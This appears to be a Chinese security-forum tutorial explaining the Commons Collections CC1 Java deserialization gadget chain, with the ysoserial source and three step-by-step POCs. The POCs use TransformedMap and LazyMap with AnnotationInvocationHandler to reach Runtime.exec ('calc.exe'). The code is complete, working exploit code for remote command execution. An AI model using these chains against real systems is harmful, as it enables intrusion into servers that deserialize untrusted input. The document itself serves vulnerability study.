前言

虽然已经有很多大佬已经发了CC1-7的分析,但是我觉得有些地方没有特别清楚,我就来啰嗦的写一篇吧,对新手比较友好。

Java集合框架是JDK1.2中的一个重要补充。它添加了许多功能强大的数据结构,加快了最重要的Java应用程序的开发。从那时起,它已成为Java中公认的集合处理标准。
Commons集合试图通过提供新的接口、实现和实用程序来构建JDK类。

Commons Collections是反序列化漏洞学习过程中不可缺少的一部分,Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

ysoerial中CommonsCollection1源码如下:

public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

利用链:

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

环境搭建

  • JDK1.7
  • commons-collections 3.1

创建一个Maven项目,不用选择任何Maven模板;
在pom.xml中添加如下代码:

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

刷新一下,成功导入commons-collections-3.1。

相关类和接口

TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
        ......
        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    ......
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }

ChainedTransformer
ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起,将前一个回调返回的结果作为后一个的参数传入。

public class ChainedTransformer implements Transformer, Serializable {
    ......
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    ......
}

Transformer
Transformer是一个接口,只有一个带实现的方法;
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调
函数”,这个回调的参数是原始对象。

public interface Transformer {
    public Object transform(Object input);
}

ConstantTransformer
ConstantTransformer是实现了Transformer、Serializable接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回;

作用就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

public class ConstantTransformer implements Transformer, Serializable {
    .......
    public ConstantTransformer(Object constantToReturn) {
            super();
            iConstant = constantToReturn;
        }

    public Object transform(Object input) {
            return iConstant;
        }
    }
    .......

InvokerTransformer
InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键;

在实例化这个InvokerTransformer时,需要传⼊三个参数:

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

后面transform方法,通过反射调用执行了input对象的iMethodName方法。

public class InvokerTransformer implements Transformer, Serializable {
    ......
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

TransformedMap链

Test1

先构造一个简单的POC:

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Test1 {
    public static void main(String[] args) throws Exception {
        //构建一个transformer的数组
        Transformer[] transformers = new Transformer[] {
                //返回Runtime对象
                new ConstantTransformer(Runtime.getRuntime()),
                //调用exec方法执行calc.exe命令
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
        };
        //将transformers数组传入ChainedTransformer类
        Transformer transformerChain = new ChainedTransformer(transformers);
        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        //包装innerMap
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //触发回调
        outerMap.put("test1", "xxxx");
    }
}

Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类;
这里并不是new了一个接口,而是new了一个Transformer类型的数组,里面存储的是 Transformer的实现类对象。

然后使用ChainedTransformer对transformers 数组进行一系列回调;

将创建的innerMap和transformerChain传入TransformedMap.decorate;
最后要向Map中放入一个新元素,从而执行命令。

Test2

上面的Test1并只是一个本地测试,而我们还需要将最终生成的outerMap对象变成一个序列化流;
代码1
Runtime类没有实现Serializable接⼝,不能被直接序列化;所以我们需要通过反射来获取Runtime对象;

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //调用getMethod方法
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            //调用invoke方法
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            //调用exec方法
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };

代码2
当调用ChainedTransformer的transformer方法时,会对transformers数组进行一系列回调:

Transformer transformerChain = new ChainedTransformer(transformers);
  • 将ConstantTransformer返回的Runtime.class传给第一个InvokerTransformer;
  • 将第一个InvokerTransformer返回的(Runtime.class).getMethod("getRuntime",null)传给第二个InvokerTransformer;
  • 将第二个InvokerTransformer返回的((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)传给第三个InvokerTransformer;
  • (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")是第三个InvokerTransformer的返回值。

代码3
用了TransformedMap修饰Map对象,decorate方法中又new了一个TransformedMap对象,transformerChain作为参数传进去;

Map innerMap = new HashMap();
 innerMap.put("value", "xxxx");
 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);

TransformedMap类中的注释说到Map的put方法和Map.Entry的setValue方法会受到该类的影响;

TransformedMap继承于AbstractInputCheckedMapDecorator类,而AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator类,AbstractMapDecorator类继承于Map类;

跟到AbstractInputCheckedMapDecorator类的setValue方法;

最后其实是调用Map.setValue();

跟进checkSetValue方法到TransformedMap类,注释中也提到调用setValue方法时自动调用checkSetValue方法;
这里调用了valueTransformer的transform方法,而valueTransformer就是我们传入的transformerChain,transformerChain又是ChainedTransformer的实例化对象,也就是成功调用了ChainedTransformer的transformer方法,从而实现代码2对transformers数组进行回调。

代码4
通过反射获取AnnotationInvocationHandler类对象,获取构造方法,实例化一个对象handler;

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
 construct.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);

看一下sun.reflect.annotation.AnnotationInvocationHandler类,它的构造函数中第一个参数是个Annotation类,第⼆个是参数就是前⾯构造的Map;

这是一个内部类,需要通过反射来获取;
在它的readObject方法中调用了setValue方法,也就是说反序列化时会调用setValue方法,进而实现上面几部分代码。

然而只有当if判断为真时才会进入分支执行setValue方法,也就是说var7不能为null;
var7不为null需要满足以下两个条件:

  • 第一个参数必须是Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设方法名为X
  • TransformedMap.decorate修饰的Map中必须有⼀个键名为X的元素

而Retention恰好是Annotation类,含有⼀个value方法;

所以这里是创建Retention.class的对象;
然后,为了再满⾜第⼆个条件,需要给Map中放⼊⼀个键名为value的元素,所以在代码3中要给Map对象加一个键名为value的元素;

下面大概跟一下为什么键名要和方法名相同;
AnnotationInvocationHandler的readObject方法中,跟进

var2 = AnnotationType.getInstance(this.type);

var0就是我们传入的Retention,再跟进AnnotationType

第一处返回了Retention类中的所有方法到var2;
第二处通过for循坏,获取方法名到var7;
第三处将获取到的方法名put到memberTypes

Retention类中就只有一个value方法,所以memberTypes的值就是value;
再回到AnnotationInvocationHandler类,var3的值就是value;

Map var3 = var2.memberTypes();

接下来:

while(var4.hasNext()) {
        //遍历Map
        Entry var5 = (Entry)var4.next();
        //获取Map的键名
        String var6 = (String)var5.getKey();
        //在var3中寻找是否有键名为var6的值,如果在这里没有找到,则返回了null,
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

所以为了能var3中找到键名为value的值,需要给Map对象put一个键名为value的元素。

最后加上序列化和反序列化的代码,整理为如下POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class Test2 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);

        Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于sun.reflect.annotation.AnnotationInvocationHandler发⽣了变化导致不再可⽤;
在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap。

LazyMap链

LazyMap也来自于Common-Collections库,并继承AbstractMapDecorator类。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform 。
当在get找不到值的时候,它会调用factory.transform方法去获取一个值:

代码1和代码2与TransformedMap链中的一样;

代码3

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

因为要满足map.containsKey(key) == false,就不需要向Map中添加元素;
把transformerChain传进去,transformerChain是Transformer类型的;
看一下LazyMap.decorate方法:

new了一个LazyMap对象;

get方法中的factory就是我们传入的transformerChain,也就是说,只要调用了get方法,并且Map对象中的没有key,就可以触发ChainedTransformer的transform方法,从而实现代码2对transformers数组进行回调,进而执行命令。

现在要找一个调用get方法的地方;
在AnnotationInvocationHandler类的invoke方法中调用了get方法:

那又要如何调用到invoke方法;
P牛的文章中说到:

  • 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

Java动态代理知识可参考:Java 动态代理

代码4
通过反射获取sun.reflect.annotation.AnnotationInvocationHandler对象,再对该对象进行Proxy;

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

最后添加上序列化和反序列化的代码整理为如下POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

成功执行命令:

参考连接:
Java安全漫谈 - 09.反序列化篇(3)
Java安全漫谈 - 10.反序列化篇(4)
Java安全漫谈 - 11.反序列化篇(5)
https://xz.aliyun.com/t/9873

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖